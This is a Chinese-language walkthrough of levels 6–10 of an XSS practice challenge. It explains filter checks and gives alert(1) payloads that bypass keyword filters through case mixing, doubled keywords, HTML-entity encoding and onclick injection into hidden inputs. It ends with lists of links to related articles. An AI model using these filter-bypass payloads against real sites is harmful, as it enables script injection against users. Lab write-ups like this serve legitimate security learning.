XSS挑战赛(2)
进入第六关

简单判断过滤情况
<>script"'/
查看源代码

可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗
"><script>alert(1)</script>

关键字被下划线分割了,尝试使用前一关的payload
"><a href="javascript:alert(1)">hi</a>

前一关的payload已经行不通了,猜测应该是后端过滤关键字变多。
尝试使用大小写进行突破
"><scRIpt>alert(1)</scRIpt>
成功通过
进入第七关

简单检测
<>script"'/

源代码value 中的script被替换成为了空,看到这种结果第一时间想到双写绕过
"><scscriptript>alert(1)</scscriptript>
成功绕过

第八关

简单进行检测
<>script"'/
结果为:

因为script被分割,所以也不能使用payload
javascript:alert(1)
同时尝试大小写绕过也无果
但是可以看出来,第一个红框中尖括号被过滤了,第二个红框中尖括号没有被过滤,可以猜测只有第一个输出点被XSS过滤函数过滤了,所以我们的突破点在第二个红框中。
关于该处的利用方式,在这篇博文中与相关的介绍:
https://0verwatch.top/xss-encodeorder.html
使用XSS编码来进行绕过
我们可以根据浏览器解析编码的顺序来触发XSS,因为后端是对敏感字符进行整体替换,所以进行编码后就可绕过
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
根据引用的那篇博文,我们可知浏览器如果要把HTML编码解析并且渲染前提必须要这种编码一定要在标签内某个属性里面才行。
编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php
所以最后的payload可为:(答案不唯一)
javascript:alert(1)
添加后点击友情链接即可XSS,其源码为:
<center><BR><a href="javascript:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>

进入第九关

后面部分关卡比较复杂,从源码分析绕过,贴出部分源码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
这里是基础的替换,跟上一关相同。
接着是本关特色,对于url合法性的判断:
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
这里判断字符串中是否存在http://,存在的话就回到上一关的页面显示代码,所以我们只需要在payload里面找个合适的位置添加http://即可
javascript:alert`http://`

进入第十关

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
可以看到传入了 keyword 和 t_sort参数,对于 keyword 使用htmlspecialchars函数来进行过滤,对 t_sort 参数只是进行了简单的尖括号的替换,所以很明显突破点是在 t_sort 参数处。
仅仅是过滤了尖括号,我们使用事件来进行绕过
?keyword="well done!"&t_sort=" onclick=alert`1` " type="text"
为了最后能够点击,我们将类型设置为text即可。

参考链接:
https://0verwatch.top/xss-game.html
XSS挑战赛(2)的更多相关文章
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- xss挑战赛小记 0x02(prompt(1))
0x0O 上次搜xss挑战赛的时候 还找到了一个看上去难度更高的挑战赛 今天做了一下 学到了很多新东西 这个挑战赛能够在页面成功prompt(1)就算过关了 挑战地址 http://prompt.ml ...
- xss挑战赛小记 0x01(xsstest)
0x00 今天在先知社区看到了一个xss挑战赛 结果发现比赛已经结束 服务器也关了 百度找了个xss挑战赛来玩一下 正好印证下xss的学习--- 地址 http://test.xss.tv/ ...
- xss挑战赛小记 0x03(xssgame)
0x00 继续做xss吧 这次是xssgame 地址 http://www.xssgame.com/ 一共八关 学到了很多东西 0x01 啥也没有 <svg/onload="alert ...
- XSS挑战赛(4)
16-20关 第十六关 关键代码为: <?php ini_set("display_errors", 0); $str = strtolower($_GET["ke ...
- XSS挑战赛(3)
查看关键代码: <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = ...
- XSS挑战赛(1)
以前囫囵吞枣做过一遍,现在从头再来 第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test 而页面上显示了用户test,name可控, ...
- 先知xss挑战赛学习笔记
xss游戏 游戏地址:http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/ LEMON参考wp地址 1. 文件上传 源码如下 <?php ...
- web全套资料 干货满满 各种文章详解
sql注入l MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名.字段名.库名高级S ...
随机推荐
- 依赖注入DI(IOC)容器快速入门
1.什么是IOC IOC是一种设计模式,全程控制翻转或叫依赖注入.更详细介绍见http://martinfowler.com/articles/injection.html 2.为什么用IOC 我们通 ...
- Spider_知识目录_基础
知识目录 静态网页抓取 Spider_基础总结1_Request(get/post__url传参_headers_timeout)+Reponse Spider_基础总结2_Requests异常 Sp ...
- S5830 android 2.3.4和2.3.7
12年元旦买的手机S5830,原机自带2.3.4的系统. 看到人家的机子2.3.6的效果稍微绚一点,动了想刷机的念头. 前两天刷了2.3.7,效果还满意,用的还舒服,感觉就是有些费电, 本来就对智能手 ...
- 使用配置文件方式记录Python程序日志
开发者可以通过三种方式配置日志记录: 调用配置方法的Python代码显式创建记录器.处理程序和格式化程序. 创建日志配置文件并使用fileConfig() 函数读取. 创建配置信息字典并将其传递给di ...
- Difference between skbuff frags and frag_list
skb_shinfo(head)->frag_list skb_shinfo(head)->frags[]能区分开来吗???结论就是: frags[] are for scatter-ga ...
- 转 Cache一致性和内存模型
卢本伟牛逼,写得很好 https://wudaijun.com/2019/04/cpu-cache-and-memory-model/ 本文主要谈谈CPU Cache的设计,内存屏障的原理和用法,最后 ...
- android打包持续集成
背景: 领导下发需求,要求客户端实现代码自动上传至github的需求,本来我这项目是使用jenkins实现自动化打包操作的,由于两端不统一,再加上如果需要公司所有人看到包,需要给所有人开账号有些许不切 ...
- WinRM服务远程命令执行
WinRM服务简介 WinRM是WindowsRemoteManagementd(win远程管理)的简称.基于Web服务管理(WS-Management)标准,使用80端口或者443端口.这样一来,我 ...
- 2020阿里Java面试题目大汇总,看看你离阿里还有多远,附答案!
前言 首先说一下情况,我大概我是从去年12月份开始看书学习,到今年的6月份,一直学到看大家的面经基本上百分之90以上都会,我就在5月份开始投简历,边面试边补充基础知识等.也是有些辛苦.终于是在前不久拿 ...
- FL Studio钢琴卷轴之工具菜单的Riff命令
鼠标左键点击FL Studio钢琴卷轴窗口中的"工具"命令,我们就可以打开快捷工具菜单.快捷菜单中包含了用于音符编辑的各种工具.按照该菜单的顺序,我们先来看一下什么是Riff器命令 ...